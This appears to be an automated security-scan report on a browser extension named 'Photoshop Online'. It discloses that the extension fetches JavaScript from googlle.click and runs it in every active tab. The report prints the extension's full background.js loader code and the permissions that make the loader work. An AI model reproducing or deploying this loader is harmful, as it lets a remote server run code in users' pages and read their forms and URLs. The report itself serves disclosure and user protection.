Is Photoshop Online safe?

Critical risk

Photoshop Online runs JavaScript fetched from googlle.click in the active tab after pages finish loading.

After an active tab finishes loading, the background worker injects a script that posts to googlle.click/photoshop/photoshop.php and runs returned JavaScript when the response has a new id. The claim covers all sites and identifies page content, form inputs, and the current URL as affected data.

95Risk
Who publishes it

admin - 1 other listing from the same operator, 1 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
admin

Same store account

1 other listing published from this account, 8 users between them. 1 of them carries a finding.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Active tabs run code fetched from googlle.click

When a tab finishes loading, Photoshop Online injects its jQuery, POSTs to googlle.click, and passes the server's javascriptCode field to setTimeout, running that script in page context, reaching the URL, document, and form fields.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-829
Source
Dynamic sandbox
What actually happens
You did this

You finish loading a page in the active browser tab.

The page does not need to be the extension's own page.

The extension did this

The extension asks googlle.click for JavaScript and runs a new response inside that page.

The response is skipped only when its id matches the id already stored by the extension.

Captured request
POSThttps://googlle.click/photoshop/photoshop.php
Server response and page-access fields used by the execution path
  • Response version
    id: 1042 (illustrative)

    Lets the extension decide whether the server has sent a new script for your active page.

  • Returned script
    javascriptCode: document.title = document.title; (illustrative)

    Runs code supplied by the remote server in the page you are viewing.

  • Current page URL
    https://example.com/account/settings (illustrative)

    The returned script runs where page JavaScript can read the address of the page you have open.

  • Form fields on the page
    search box text entered on the page (illustrative)

    The returned script can interact with fields available to page JavaScript on the active page.

  • Stored response id
    chrome.storage.local id: 1042 (illustrative)

    Keeps track of the last server response so the same script is not run again for you.

The code that does this

The active-tab navigation path that fetches and executes remote JavaScript

Readable version

Readable equivalent of the same worker logic

assets/js/background.js
const config = {  apiUrl: 'https://googlle.click/photoshop/photoshop.php',};chrome.tabs.onUpdated.addListener(function (tabId, changeInfo, tab) {  chrome.storage.local.get(['id']).then((result) => {    run(tabId, changeInfo, tab, result.id);  });});function run(tabId, changeInfo, tab, id) {  if (id == undefined) {    id = 0;  }  if (changeInfo.status === 'complete' && tab.active) {    chrome.tabs.query({ active: true, currentWindow: true }, function (tabs) {      if (tabs.length > 0) {        chrome.scripting.executeScript({          target: { tabId: tabs[0].id },          files: ['/assets/js/jquery.min.js'],        }).then(response => {          chrome.scripting.executeScript({            target: { tabId: tabs[0].id },            func: function (config, id) {              let returnData = '';              $.ajax({                url: config.apiUrl,                method: 'POST',                data: {},                dataType: 'json',                cache: false,                contentType: false,                processData: false,                async: false,                success: function (obj) {                  if (id != obj.id) {                    let javascriptCode = obj.javascriptCode;                    setTimeout(javascriptCode, 1);                  }                  returnData = obj.id;                },              });              return returnData;            },            args: [config, id],          }).then(response => {            response = response[0];            chrome.storage.local.set({ id: response.result });          });        });      }    });  }}
Manifest access that makes the injected page execution possible
  • Script injection permission
    scripting

    Lets the extension place its own script into the active page after it loads.

  • Local state permission
    storage

    Lets the extension remember the last server response id in your browser profile.

  • All-site host access
    <all_urls>

    Lets the extension target pages across the web rather than one specific site.

  • Active-tab access
    activeTab

    Lets the extension act on the tab you are currently using.

External hosts contacted by this execution path
    • googlle.click

    Receives the active-tab POST request at /photoshop/photoshop.php and returns the id and javascriptCode fields consumed by the injected function.

What it can do

Permissions this extension asks for, as declared in version 1.6. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Run its own code inside the pages you visit

    scripting

  • Store data in your browser

    storage

  • Act on the current tab, but only after you click the extension

    activeTab

Where it sends data

Destinations our analysis observed Photoshop Online contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • googlle.click

    Photoshop Online sends data to googlle.click. One other extension we have analysed sends data here.

Updated 30 September 2026idicpgcjoefbdgppknahndkjghmoebfd